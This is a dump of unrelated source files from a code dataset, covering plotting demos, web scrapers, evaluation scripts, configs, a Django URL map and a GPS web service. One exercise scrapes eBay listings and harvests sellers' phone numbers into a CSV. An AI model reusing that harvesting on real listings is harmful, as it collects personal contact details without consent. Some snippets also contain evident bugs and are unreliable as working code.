# fig, ax = plt.subplots(1, 1)\n ax = axs[1]\n x = np.linspace(norm.ppf(0.0001),\n norm.ppf(0.9999), 100)\n\n ax.plot(x, norm.pdf(x), 'k-', lw=2, label='Norm PDF')\n\n ax.axvline(x=-1, c='r', linestyle='--', label='$\\sigma$')\n ax.axvline(x=1, c='r', linestyle='--')\n\n ax.axvline(x=-2, c='g', linestyle='--', label='2$\\sigma$')\n ax.axvline(x=2, c='g', linestyle='--')\n\n ax.axvline(x=-3, c='b', linestyle='--', label='3$\\sigma$')\n ax.axvline(x=3, c='b', linestyle='--')\n\n ax.set_xlabel('$\\sigma$')\n ax.grid()\n ax.legend()\n\n # fig, ax_nstd = plt.subplots(figsize=(6, 6))\n ax_nstd = axs[2]\n\n dependency_nstd = np.array([\n [0.8, 0.75],\n [-0.2, 0.35]\n ])\n mu = 0, 0\n scale = 8, 5\n\n ax_nstd.axvline(c='grey', lw=1)\n ax_nstd.axhline(c='grey', lw=1)\n\n x, y = get_correlated_dataset(500, dependency_nstd, mu, scale)\n ax_nstd.scatter(x, y, s=0.5)\n\n confidence_ellipse(x, y, ax_nstd, n_std=1,\n label=r'$1\\sigma$', edgecolor='firebrick')\n confidence_ellipse(x, y, ax_nstd, n_std=2,\n label=r'$2\\sigma$', edgecolor='fuchsia', linestyle='--')\n confidence_ellipse(x, y, ax_nstd, n_std=3,\n label=r'$3\\sigma$', edgecolor='blue', linestyle=':')\n\n ax_nstd.scatter(mu[0], mu[1], c='red', s=3)\n ax_nstd.set_title('Different standard deviations')\n ax_nstd.legend()\n plt.show()\n","sub_path":"myCodes/1_test.py","file_name":"1_test.py","file_ext":"py","file_size_in_byte":4879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"618241221","text":"import requests\nfrom bs4 import BeautifulSoup\nimport pandas as pd\n\n\nurl = \"https://gist.github.com/paulmillr/2657075\"\n\ndef handle_GetRequest_and_build_soup(url):\n res = requests.get(url)\n html_doc = res.text\n soup = BeautifulSoup(html_doc,\"html.parser\")\n res_OK = res.status_code == 200\n if(res_OK):\n return soup\n else:\n return None\n\n\ndef find_all_users(soup):\n list_links = soup.find(\"table\").find_all(\"tr\")[1::]\n links = [el.find(\"a\").text for el in list_links]\n return links\n\n\nsoup = handle_GetRequest_and_build_soup(url)\n\nif soup is not None:\n links = find_all_users(soup)\n print(links)\n print(\"Create UserNames.csv\")\n df = pd.DataFrame(links, columns=[\"UserName\"])\n df.to_csv(\"UserNames.csv\", sep=',')\n\nelse:\n print(\"Error connection\")\n\n\n\n\n\n","sub_path":"INFMDI721/Lesson3/Lesson3_exo_dom/lesson3_exo_dom.py","file_name":"lesson3_exo_dom.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"195155502","text":"from pycocoevalcap.bleu.bleu import Bleu\nfrom pycocoevalcap.rouge.rouge import Rouge\nfrom pycocoevalcap.cider.cider import Cider\nfrom pycocoevalcap.meteor.meteor import Meteor\n\nimport numpy as np\nimport json\nimport operator\nimport argparse\nimport stop_words\nimport tqdm\nimport math\n\n\ndef open_json(path):\n print('read from', path)\n with open(path, \"r\") as f:\n return json.load(f)\n\n\ndef score(ref, hypo):\n scorers = [\n (Bleu(4), [\"Bleu_1\", \"Bleu_2\", \"Bleu_3\", \"Bleu_4\"]),\n (Meteor(), \"METEOR\"),\n (Rouge(), \"ROUGE_L\"),\n (Cider(), \"CIDEr\"),\n ]\n final_scores = {}\n all_scores = {}\n for scorer, method in scorers:\n score, scores = scorer.compute_score(ref, hypo)\n\n if type(score) == list:\n for m, s in zip(method, score):\n final_scores[m] = s\n for m, s in zip(method, scores):\n all_scores[m] = s\n else:\n final_scores[method] = score\n all_scores[method] = scores\n print('%s done' % str(method))\n\n return final_scores, all_scores\n\n\ndef evaluate(ref, cand, get_scores=True):\n # make dictionary\n hypo = {}\n for i, caption in enumerate(cand):\n hypo[i] = [caption]\n truth = {}\n for i, caption in enumerate(ref):\n truth[i] = [caption]\n\n # compute bleu score\n final_scores = score(truth, hypo)\n\n # print out scores\n print('Bleu_1:\\t ;', final_scores[0]['Bleu_1'])\n print('Bleu_2:\\t ;', final_scores[0]['Bleu_2'])\n print('Bleu_3:\\t ;', final_scores[0]['Bleu_3'])\n print('Bleu_4:\\t ;', final_scores[0]['Bleu_4'])\n print('METEOR:\\t ;', final_scores[0]['METEOR'])\n print('ROUGE_L: ;', final_scores[0]['ROUGE_L'])\n print('CIDEr:\\t ;', final_scores[0]['CIDEr'])\n\n if get_scores:\n return final_scores\n\n\n# Anwen Hu 2019/08/13\ndef organize_ner(ner, stopwords):\n new = {}\n for k, pointers in ner.items(): # k: word v:list(label)\n value = ' '.join(k.split())\n if value not in stopwords:\n value = value.encode('ascii', errors='ignore').decode('ascii')\n for pointer in pointers:\n new[pointer] = value\n \"\"\"try:\n value.encode('ascii')\n except UnicodeEncodeError as e:\n print value\n exit(0)\"\"\"\n\n # print type(value)\n # exit(0)\n return new\n\n\ndef insert(cap, rank_indexes, ner_dict, related_words):\n sen = []\n names = []\n templates = ['ORDINAL_', 'LOC_', 'PRODUCT_', 'NORP_', 'WORK_OF_ART_', 'LANGUAGE_', 'MONEY_',\n 'PERCENT_', 'PERSON_', 'FAC_', 'CARDINAL_', 'GPE_', 'TIME_', 'DATE_', 'ORG_', 'LAW_', 'EVENT_', 'QUANTITY_']\n for i, token in enumerate(cap):\n if token in templates:\n name = ''\n rank_index = rank_indexes[i] # word index (sorted by attention weight)\n for j, index in enumerate(rank_index):\n try:\n word = related_words[index]\n except IndexError as e:\n continue\n if len(word.split('-')) > 1 and word.split('-')[0]+'_' == token:\n # add return examples\n if word in ner_dict:\n name = ner_dict[word]\n break\n if name == '': # no availale name that has the same entity type as the token\n name = token\n else:\n names.append([name, token[:-1]]) # -1 means to remove the final character '_'\n sen.append(name)\n else:\n sen.append(token)\n return sen, names\n\n\ndef insert_f1(ref_name, hypo_name):\n assert len(ref_name) == len(hypo_name)\n all_predict_num = 0\n all_ground_num = 0\n all_true_num = 0\n for i in range(len(ref_name)):\n ref = ref_name[i]\n hypo = hypo_name[i]\n predict_num = len(hypo)\n ground_num = len(ref)\n true_num = 0\n for item in hypo:\n if item in ref:\n true_num += 1\n all_predict_num += predict_num\n all_true_num += true_num\n all_ground_num += ground_num\n\n p = round(float(all_true_num) / all_predict_num, 4)\n r = round(float(all_true_num) / all_ground_num, 4)\n f1 = round(2 * p * r / (p + r), 4)\n print(\"Named Entity Generation p:%f r:%f f1:%f\" % (p, r, f1))\n return 0\n\ndef main(params):\n dataset = params['dataset']\n split = params['split']\n template_path = params['template_path']\n retr_num = 10\n word_length = retr_num * 20\n ttv_items = open_json('./' + dataset + '_data/' + dataset + '_ttv.json')\n id_retr = {}\n for item in ttv_items:\n if item['split'] == split:\n if len(item['retrieved_sentences']) > 0:\n retrieved_sentences = item['retrieved_sentences']\n retrieved_sentences.sort(key=lambda x: x, reverse=False)\n id_retr[item['cocoid']] = retrieved_sentences[:retr_num]\n else:\n id_retr[item['cocoid']] = []\n del ttv_items\n test_compact = open_json('./' + dataset + '_data/' + dataset + '_' + split + '.json')\n article_dataset = open_json('./' + dataset + '_data/' + dataset + '_article_icecap.json')\n stopwords = stop_words.get_stop_words('en')\n # Start the insertion process\n output = open_json(template_path)\n if dataset == 'breakingnews':\n id_to_key = {h['image_id']: h['image_path'].split('/')[1].split('_')[0].replace('n', '').replace('a', '') for h\n in output}\n else:\n id_to_key = {h['image_id']: h['image_path'].split('/')[1].split('_')[0] for h in output}\n id_to_index = {h['cocoid']: i for i, h in enumerate(test_compact)}\n ref = []\n hypo = []\n ref_name = []\n hypo_name = []\n for h in tqdm.tqdm(output):\n imgId = h['image_id']\n cap = h['caption'].split(' ')\n key = id_to_key[imgId]\n index = id_to_index[imgId]\n ref_name.append(test_compact[index]['sentences'][0]['names'])\n ref.append(test_compact[index]['sentences_full'][0]['raw'])\n ner_articles = article_dataset[key]['article_ner']\n ner_dict = article_dataset[key]['ner']\n ner_dict = organize_ner(ner_dict, stopwords)\n related_sentences = id_retr[imgId]\n related_words = []\n if len(related_sentences) > 0:\n for id in related_sentences:\n related_words += ner_articles[id].split(' ')\n related_words = related_words[:word_length]\n # print(len(related_words), len(related_words[0]))\n assert len(related_words) <= word_length\n sorted_word_locs = h['match_index']\n top_match_weights = h['top_match_weight']\n\n for top_match_weight in top_match_weights:\n try:\n assert np.sum(top_match_weight) <= 1.01\n except AssertionError:\n print(np.sum(top_match_weight), top_match_weight)\n exit(0)\n assert len(sorted_word_locs) == len(top_match_weights)\n # print(ner_dict)\n sen, inserted_name = insert(cap, sorted_word_locs, ner_dict, related_words)\n\n else:\n inserted_name = []\n sen = cap\n hypo.append(' '.join(sen))\n hypo_name.append(inserted_name)\n\n if params['dump']:\n json.dump(hypo, open(template_path.replace('.json', '_full.json'), 'w', encoding='utf-8'))\n insert_f1(ref_name, hypo_name)\n sc, scs = evaluate(ref, hypo)\n\n\nif __name__=='__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('--dataset', default='goodnews', choices=['breakingnews', 'goodnews'])\n parser.add_argument('--split', default='test', choices=['test', 'val'])\n parser.add_argument('--template_path', type=str, default='./vis/test_vis_show_attend_tell_watt_glove_matchs02_retr10_goodnews.json',\n help='template path to insert named entities according word-level matching distribution')\n parser.add_argument('--dump', type=bool, default=False, help='Save the inserted captions in a json file')\n args = parser.parse_args()\n params = vars(args) # convert to ordinary dict\n print('parsed input parameters:')\n print(json.dumps(params, indent=2))\n main(params)\n\n\n\n","sub_path":"insert_by_word_match.py","file_name":"insert_by_word_match.py","file_ext":"py","file_size_in_byte":8307,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"531750226","text":"import FWCore.ParameterSet.Config as cms\n\n#include \"CondCore/DBCommon/data/CondDBCommon.cfi\"\n#replace CondDBCommon.connect = \"oracle://cms_orcoff_int2r/CMS_COND_HCAL\"\n#replace CondDBCommon.DBParameters.authenticationPath=\"/afs/cern.ch/cms/DB/conddb\"\n#replace CondDBCommon.timetype = \"runnumber\"\nfrom CondCore.DBCommon.CondDBSetup_cfi import *\nhcal_db_producer = cms.ESProducer(\"HcalDbProducer\",\n dump = cms.untracked.vstring(''),\n file = cms.untracked.string('')\n)\n\nes_pool = cms.ESSource(\"PoolDBESSource\",\n CondDBSetup,\n timetype = cms.string('runnumber'),\n toGet = cms.VPSet(cms.PSet(\n record = cms.string('HcalPedestalsRcd'),\n tag = cms.string('hcal_pedestals_fC_v5_mc')\n ), \n cms.PSet(\n record = cms.string('HcalPedestalWidthsRcd'),\n tag = cms.string('hcal_widths_fC_v5_mc')\n ), \n cms.PSet(\n record = cms.string('HcalGainsRcd'),\n tag = cms.string('hcal_gains_v2_physics_50_mc')\n ), \n cms.PSet(\n record = cms.string('HcalQIEDataRcd'),\n tag = cms.string('qie_normalmode_v5_mc')\n ), \n cms.PSet(\n record = cms.string('HcalElectronicsMapRcd'),\n tag = cms.string('official_emap_v5_080208_mc')\n )),\n connect = cms.string('frontier://FrontierDev/CMS_COND_HCAL'), ##FrontierDev/CMS_COND_HCAL\"\n\n authenticationMethod = cms.untracked.uint32(0)\n)\n\nes_hardcode = cms.ESSource(\"HcalHardcodeCalibrations\",\n toGet = cms.untracked.vstring('GainWidths', \n 'ChannelQuality', \n 'ZSThresholds', \n 'RespCorrs')\n)\n\n\n","sub_path":"TB2009/OriginalCode/CalibCalorimetry/HcalPlugins/python/Hcal_FrontierConditions_cff.py","file_name":"Hcal_FrontierConditions_cff.py","file_ext":"py","file_size_in_byte":1603,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"36343565","text":"# -*- coding: utf-8 -*-\n\"\"\"\nSpyder Editor\n\nThis is a temporary script file.\n\"\"\"\n\n\nimport csv\n\n\nwith open('person_studyAt_organisation_0_0.csv',encoding=\"utf8\") as studyat_in, open(\"person_studyat_university.csv\", 'w',encoding=\"utf8\",newline='') as f_out:\n read_studyAt_org = csv.reader(studyat_in, delimiter='|')\n writer = csv.writer(f_out,delimiter='|')\n \n next(read_studyAt_org,None) \n writer.writerow([\":START_ID(PERSON_ID)\",\":END_ID(UNIVERSITY_ID)\",\"classYear:int\",\":TYPE\"])\n \n for row in read_studyAt_org:\n writer.writerow(row)\n","sub_path":"Datageneration&Preprocessing/LDBC_PreProcessing_for_Neo4j/Normalize_PERSON_STYUDYIN_UNIV/person_studyin_univ.py","file_name":"person_studyin_univ.py","file_ext":"py","file_size_in_byte":568,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"54042831","text":"# Gathers information about dependency mode and analysis\n\nload(\n \"@io_bazel_rules_scala//scala/private:dependency.bzl\",\n \"get_strict_deps_mode\",\n \"new_dependency_info\",\n)\nload(\n \"@io_bazel_rules_scala//scala/private:paths.bzl\",\n _get_files_with_extension = \"get_files_with_extension\",\n _java_extension = \"java_extension\",\n)\n\ndef phase_dependency_common(ctx, p):\n return _phase_dependency_default(ctx, p)\n\ndef phase_dependency_library_for_plugin_bootstrapping(ctx, p):\n args = struct(\n unused_deps_always_off = True,\n strict_deps_always_off = True,\n )\n return _phase_dependency_default(ctx, p, args)\n\ndef _phase_dependency_default(ctx, p, args = struct()):\n return _phase_dependency(\n ctx,\n p,\n args.unused_deps_always_off if hasattr(args, \"unused_deps_always_off\") else False,\n args.strict_deps_always_off if hasattr(args, \"strict_deps_always_off\") else False,\n )\n\ndef _phase_dependency(\n ctx,\n p,\n unused_deps_always_off,\n strict_deps_always_off):\n toolchain = ctx.toolchains[\"@io_bazel_rules_scala//scala:toolchain_type\"]\n\n if strict_deps_always_off:\n strict_deps_mode = \"off\"\n else:\n strict_deps_mode = get_strict_deps_mode(ctx)\n\n if unused_deps_always_off:\n unused_deps_mode = \"off\"\n else:\n unused_deps_mode = _get_unused_deps_mode(ctx)\n\n # We are not able to verify whether dependencies are used when compiling java sources\n # Thus we disable unused dependency checking when java sources are found\n java_srcs = _get_files_with_extension(ctx, _java_extension)\n if len(java_srcs) != 0:\n unused_deps_mode = \"off\"\n\n return new_dependency_info(\n toolchain.dependency_mode,\n unused_deps_mode,\n strict_deps_mode,\n toolchain.dependency_tracking_method,\n )\n\ndef _get_unused_deps_mode(ctx):\n if ctx.attr.unused_dependency_checker_mode:\n return ctx.attr.unused_dependency_checker_mode\n else:\n return ctx.toolchains[\"@io_bazel_rules_scala//scala:toolchain_type\"].unused_dependency_checker_mode\n","sub_path":"scala/private/phases/phase_dependency.bzl","file_name":"phase_dependency.bzl","file_ext":"bzl","file_size_in_byte":2109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"69607248","text":"# %load 31_saving.py\n# %load 31_saving.py\n\nimport urllib2\nimport re\n# Si BeautifulSoup n'est pas installé: pip install beautifulsoup4\nfrom bs4 import BeautifulSoup\n\nbase = \"https://www.ebay.fr/sch/i.html?_from=R40&_sacat=0&_nkw=v%C3%A9lo&rt=nc&LH_BIN=1&_pgn=\"\nads = []\n\ndef select_text(soup, selector):\n elements = soup.select(selector)\n if len(elements) > 0:\n return elements[0].text.strip()\n else:\n return ''\n\ndef select_href(soup, selector):\n elements = soup.select(selector)\n if len(elements) > 0:\n return elements[0].get('href')\n\ndef clean_price(price):\n price = price.lower()\n # Supprime le \"EUR\"\n price = price.replace('eur', '')\n # Supprime les espaces\n price = price.replace(' ', '')\n # Remplace le séparateur des décimals par un point\n price = price.replace(',', '.')\n # Retourne un float\n try:\n return float(price)\n except ValueError:\n return None\n\ndef fetch_ad(url):\n # On ouvre l'autre URL et on stock le resultat dans body\n body = urllib2.urlopen(url).read()\n # Parse le HTML avec Beautiful Soup\n return BeautifulSoup(body, 'html.parser')\n\ndef fetch_list(page = 0):\n # On ouvre l'autre URL et on stock le resultat dans body\n body = urllib2.urlopen(base + str(page)).read()\n # Parse le HTML avec Beautiful Soup\n soup = BeautifulSoup(body, 'html.parser')\n # Tous les éléments de la liste\n list_items = soup.select(\".lvresult\")\n\n for item in list_items[0:15]:\n url = select_href(item, '.lvtitle .vip')\n ad = fetch_ad(url)\n\n ads.append({\n \"price\": str(clean_price(select_text(item, '.lvprice'))),\n \"title\": select_text(item, '.lvtitle .vip'),\n \"url\": url,\n \"seller\": select_text(ad, '..mbg-nw'),\n \"description\": select_text(ad, '.bsi-cnt')\n })\n\n# Toutes les annonces de la page 1 sont stockées dans la liste \"ads\"\nfetch_list(1)\n# Parcours la liste des annonces\nfor ad in ads:\n # Trouve toute les occurences de la regex pour trouver un numéro de téléphone\n matches = re.search('\\d{10}', ad['description'])\n # Si matches n'est pas None, ça veut dire qu'on a trouvé des occurences\n if matches is not None:\n ad[\"phone\"] = matches.group(0)\n\nwith open(\"./ads.csv\", 'w') as f:\n # On affiche le resultat au format CSV\n writer = UnicodeWriter(f, fieldnames=['price', 'title', 'url', 'seller', 'description'])\n # Ajoute toutes les lignes une par une\n for ad in ads:\n writer.writerow(ad)\n f.close()\n","sub_path":"exercises/31_saving.py","file_name":"31_saving.py","file_ext":"py","file_size_in_byte":2546,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"390262552","text":"import numpy as np\n\n\nclass ContinuationNet(object):\n\tdef __init__(self, n_layers=(2,1), weight=(-10.,10), bias=(-1., 1.)):\n\t\tself.weights = []\n\t\tself.biases = []\n\n\t\tfor i_in, N_out in enumerate(n_layers[1:]):\n\t\t\tN_in = n_layers[i_in]\n\t\t\tself.weights.append(np.random.uniform(low=weight[0], high=weight[1], size=(N_out, N_in))) # random weights\n\t\t\tself.biases.append(np.random.uniform(low=bias[0], high=bias[1], size=(N_out,))) # random biases\n\n\tdef apply_net(y_in, weights, biases, apply_layer=apply_relu_layer):\n\t\ty_i = y_in\n\t\tfor w, b in zip(weights, biases):\n\t\t\ty_i = apply_layer(y_i, w, b)\n\t\treturn y_i\n\n\t@classmethod\n\tdef apply_relu_layer(cls, y, w, b):\n\t\tz = np.dot(w, y) + b\n\t\treturn np.maximum(z, 0.)\n\n\t@classmethod\n\tdef apply_sig_layer(cls, y, w, b):\n\t\tz = np.dot(w, y) + b\n\t\treturn 1./(1.+np.exp(-z))\n","sub_path":"neural_continuation/continuation_net.py","file_name":"continuation_net.py","file_ext":"py","file_size_in_byte":813,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"593976287","text":"from sklearn.datasets import make_blobs\r\nimport mglearn\r\nimport matplotlib.pyplot as plt\r\nimport numpy as np\r\nX, y = make_blobs(centers=4, random_state=8)\r\ny = y % 2\r\nplt.scatter(X[:, 0], X[:, 1], c=y, s=60, cmap=mglearn.cm2)\r\nplt.xlabel(\"feature1\")\r\nplt.ylabel(\"feature2\")\r\nplt.show()\r\nfrom sklearn.svm import LinearSVC\r\nlinear_svm = LinearSVC().fit(X, y)\r\nmglearn.plots.plot_2d_separator(linear_svm, X)\r\nplt.scatter(X[:, 0], X[:, 1], c=y, s=60, cmap=mglearn.cm2)\r\nplt.xlabel(\"feature1\")\r\nplt.ylabel(\"feature2\")\r\nplt.show()\r\nX_new = np.hstack([X, X[:, 1:] ** 2])\r\nfrom mpl_toolkits.mplot3d import Axes3D, axes3d\r\nfigure = plt.figure()\r\nax = Axes3D(figure, elev=-152, azim=-26)\r\nax.scatter(X_new[:, 0], X_new[:, 1], X_new[:, 2],\r\n c=y, cmap=mglearn.cm2, s=60)\r\nax.set_xlabel(\"feature1\")\r\nax.set_ylabel(\"feature2\")\r\nax.set_zlabel(\"feature1 ** 2\")\r\nplt.show()\r\nlinear_svm_3d = LinearSVC().fit(X_new, y)\r\ncoef, intercept = linear_svm_3d.coef_.ravel(),linear_svm_3d.intercept_\r\nfigure = plt.figure()\r\nax = Axes3D(figure, elev=-152, azim=-26)\r\nxx = np.linspace(X_new[:, 0].min(), X_new[:, 0].max(), 50)\r\nyy = np.linspace(X_new[:, 1].min(), X_new[:, 1].max(), 50)\r\nXX, YY = np.meshgrid(xx, yy)\r\nZZ = (coef[0] * XX + coef[1] * YY + intercept) / -coef[2]\r\nax.scatter(X_new[:, 0], X_new[:, 1], X_new[:, 2], c=y,\r\n cmap=mglearn.cm2, s=60)\r\nax.plot_surface(XX, YY, ZZ, rstride=8, cstride=8, alpha=0.3)\r\nax.set_xlabel(\"feature1\")\r\nax.set_ylabel(\"feature2\")\r\nax.set_zlabel(\"feature1 ** 2\")\r\nplt.show()\r\n","sub_path":"Classification/mysvc.py","file_name":"mysvc.py","file_ext":"py","file_size_in_byte":1510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"292808687","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n# Author: Leonhard Wimmer\n# Date: June 2017\n# License: GNU General Public License v3\n# Developed for use by the EU H2020 MONROE project\n\nimport sys\nimport re\nfrom dns.resolver import Resolver\nfrom IPy import IP\n\nASN_REGEX = re.compile(r'^(?P\\d+) |')\n\ndef get_asn(ip):\n try:\n ipy = IP(ip)\n if ipy.iptype() == 'PRIVATE':\n return None\n host = ipy.reverseName()\n host = host.replace('.in-addr.arpa.', '.origin.asn.cymru.com.')\n host = host.replace('.ip6.arpa.', '.origin6.asn.cymru.com.')\n record = Resolver().query(host, \"TXT\")\n m = ASN_REGEX.match(record[0].strings[0])\n return m.group('asn')\n except Exception as e:\n return None\n\n\nif __name__ == '__main__':\n print(get_asn(sys.argv[1]))\n","sub_path":"vbim-client/files/asn_lookup.py","file_name":"asn_lookup.py","file_ext":"py","file_size_in_byte":817,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"598371144","text":"from django.conf.urls import url\nfrom posts.views import home, detail, category, about, sub_category\n\n\nurlpatterns = [\n # url(r'^$', home, name='home'),\n url(r'^$', home, name='home'),\n url(r'^posts/(?P[\\w-]+)$', detail, name='detail'),\n url(r'^tag/(?P[\\w-]+)/$', category, name='category'),\n url(r'^sc/(?P[\\w-]+)/', sub_category, name='subcat'),\n # url(r'^subcat/(?P[\\w-]+)$', sub_category, name='subcat'),\n url(r'^about', about, name='about'),\n]\n","sub_path":"posts/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":497,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"593480266","text":"# If number of opening does not equal to number of closing parenthesis\n# If closing parenthesis does not have corresponding opening parenthesis before it\n\ndef parensValid(stringInput):\n openParensCount = 0\n closeParenCount = 0\n for i in range(0, len(stringInput), 1):\n if stringInput[i] == \"(\":\n openParensCount += 1\n elif stringInput[i] == \")\":\n closeParenCount += 1\n\n if closeParenCount > openParensCount:\n return False\n\n if openParensCount != closeParenCount:\n return False\n else:\n return True\n\n\n# def parensValid(stringInput):\n# openParensCount = 0\n# closeParensCount = 0\n# for i in range(0, len(stringInput), 1):\n# if stringInput[i] == \"(\":\n# openParensCount +=1\n# elif stringInput[i] == \")\":\n# closeParensCount += 1\n# if closeParensCount > openParensCount:\n# return False\n\n\n# if openParensCount != closeParensCount:\n# return False\n# else:\n# return True\n\n\nprint(parensValid(\"((()))\"))\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"stooperPigProblems/sppPython/parenthesisValidation.py","file_name":"parenthesisValidation.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"639178599","text":"# coding=utf-8\nfrom bottle import route, run, request, response, default_app, static_file\nimport bottle\nimport sys\nimport json\nfrom sqlalchemy import create_engine, text\nimport logging\nimport setting\n\nlogging.basicConfig(level=logging.DEBUG,\n format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',\n datefmt='%Y-%b-%d %H:%M:%S',\n filename='log.txt',\n filemode='w')\n\nconsole = logging.StreamHandler()\nconsole.setLevel(logging.INFO)\nformatter = logging.Formatter('%(name)-12s: %(levelname)-8s %(message)s')\nconsole.setFormatter(formatter)\nlogging.getLogger('').addHandler(console)\n\n#首页,可以用来测试服务端是否开启\n@route('/')\ndef index():\n return bottle.redirect('/index.html')\n\n@route('/')\ndef server_static(filepath):\n '''\n 动态路径\n '''\n return static_file(filepath, root= '')\n \n\"\"\"\n同步各区v11城管的统计数据\n\"\"\"\n@route(\"/api/v1/gpsdata\", method='POST')\ndef pushgpsdata():\n #中文可能会有编码问题\n #String simCardNum,Double longtitude,Double latitude,String recordTime,Double speed ,Double angle,Double altitude,int onlineFlag\n params = request.params.decode('utf-8')\n data = {}\n data[\"sim_card_num\"] = params.get(\"sim_card_num\")\n data[\"longtitude\"] = params.get(\"longtitude\")\n data[\"latitude\"] = params.get(\"latitude\")\n data[\"record_time\"] = params.get(\"record_time\")\n data[\"speed\"] = params.get(\"speed\")\n data[\"angle\"] = params.get(\"angle\")\n data[\"altitude\"] = params.get(\"altitude\")\n data[\"trans_flag\"] = 0\n engine_14 = create_engine(setting.db_conn_str)\n conn_14 = engine_14.connect()\n sql_txt = ''' insert into temp_vehicle_trail(sim_card_num,longtitude,latitude,record_time,speed,angle,altitude,trans_flag)\n values(:sim_card_num,:longtitude,:latitude,:record_time,:speed,:angle,:altitude,:trans_flag)\n '''\n conn_14.execute(text(sql_txt),data)\n return 0\n\n# 启动web服务器\ndef start():\n app = default_app()\n run(app=app, host= setting.ip, port=setting.port, reloader=True, debug=True)\n\nif __name__ == \"__main__\":\n start()\n","sub_path":"framework/python3/gps-ws/gps-ws.py","file_name":"gps-ws.py","file_ext":"py","file_size_in_byte":2154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"605486407","text":"from datetime import date\n\nfrom django.core.cache import cache\n\nfrom pubbot import ratelimit\nfrom pubbot.dispatch import receiver\nfrom pubbot.conversation import say\nfrom pubbot.vcs.signals import commit\n\n\n@receiver(commit)\ndef svnwoot(sender, revision, **kwargs):\n if revision in (1337, 1000, 2000, 1, 100, 200, 13337, 666, 700, 777, 501):\n say(\n content=\"r%d - \\o/\" % revision,\n )\n\n\n@receiver(commit)\ndef notlikely(sender, message, committer, **kwargs):\n if 'final' in message.lower():\n say(\n content=\"Final? Not likely, %s\" % committer,\n )\n\n\n@receiver(commit)\n@ratelimit.enforce_rate_limit(\"1/5s\")\ndef multikill(sender, committer, **kwargs):\n if date.today().weekday() > 4:\n # No cheeky weekend killing sprees! ;-)\n return\n\n killer = cache.get(\"multikill_killer\")\n if killer and killer != committer:\n say(\n content='%s ended the killing spree! poor %s' % (committer, killer),\n tags=['multikill'],\n )\n\n cache.set(\"multikill_killer\", committer)\n cache.set(\"multikill_kills\", 1)\n return\n\n kills = cache.get(\"multikill_kills\", 0) + 1\n cache.set(\"multikill_kills\", kills)\n\n if kills == 2:\n say(content=\"Double Kill\", tags=['multikill'])\n elif kills == 3:\n say(content=\"Multi Kill\", tags=['multikill'])\n elif kills == 4:\n say(content=\"Ultra Kill\", tags=['multikill'])\n # play_sound(\"ultrakill.wav\")\n elif kills == 5:\n say(content=\"Megakill\", tags=['multikill'])\n # play_sound(\"megakill.wav\")\n elif kills == 6:\n say(content=\"MONSTTTTTTTEEER KILLLLL\", tags=['multikill'])\n # play_sound(\"monsterkill.wav\")\n\n # elif kills >= 10 and self.kills % 5 == 0:\n # self.play_sound(\n # random.choice([\n # \"dominating.wav\",\n # \"killingspree.wav\",\n # \"humiliation.wav\",\n # \"unstoppable.wav\",\n # \"rampage.wav\"\n # ])\n # )\n","sub_path":"pubbot/vcs/receivers.py","file_name":"receivers.py","file_ext":"py","file_size_in_byte":2028,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"206626065","text":"# -\\*- coding: utf-8 -\\*-\nfrom shutil import get_terminal_size\nimport mysql.connector\nfrom dbconf import UserName,HostName,DBName,PassWord,user_token\nfrom admin import add_user,delete_user,selectHole,show_records,clear\nclass Menu:\n\tdef __init__(self):\n\t\tself.columns\t=get_terminal_size().columns\n\t\tself.rows \t=get_terminal_size().lines\n\t\tself.padding\t=' '*int((self.columns-72)/2)\n\t\tself.head_body ='┌'+'─'*70+'┐'\n\t\tself.bottom_body='└'+'─'*70+'┘'\n\t\tself.hline\t='─'*72\n\t\tself.template_body='│'+' '*70+'│'\n\t\tself.title \t=self.InsertAt(0,1,'PKU Running Helper Admin Panel',' ',centering=True)\n\t\tself.blankline =self.InsertAt(0,1,' ',' ') \t\n\t\tself.get_stats()\n\t\tself.gen_stats()\n\tdef flush(self):\n\t\tself.columns\t=get_terminal_size().columns\n\t\tself.rows \t=get_terminal_size().lines\n\t\tself.padding\t=' '*int((self.columns-72)/2)\n\t\tself.get_stats()\n\t\tself.gen_stats()\n\t\tself.show()\n\n\n\tdef gen_stats(self):\n\t\tself.stat_lines=[]\n\t\tline=self.InsertAt(0,3,'Price: '+self.Price,' ')\n\t\tline=self.InsertAt(1,3,'Avg Rate: '+self.AvgRate,line)\n\t\tline=self.InsertAt(2,3,'Lowest Rate: '+self.LowestRate,line)\n\t\tself.stat_lines.append(line)\n\t\tline=self.InsertAt(0,3,'Miles: '+self.Miles,' ')\n\t\tline=self.InsertAt(1,3,'Finished: '+self.FinishedMiles,line)\n\t\tline=self.InsertAt(2,3,'Remaining : '+self.RemainingMiles,line)\n\t\tself.stat_lines.append(line)\n\t\tline=self.InsertAt(0,3,'Runs : '+self.Runs,' ')\n\t\tline=self.InsertAt(1,3,'Finished: 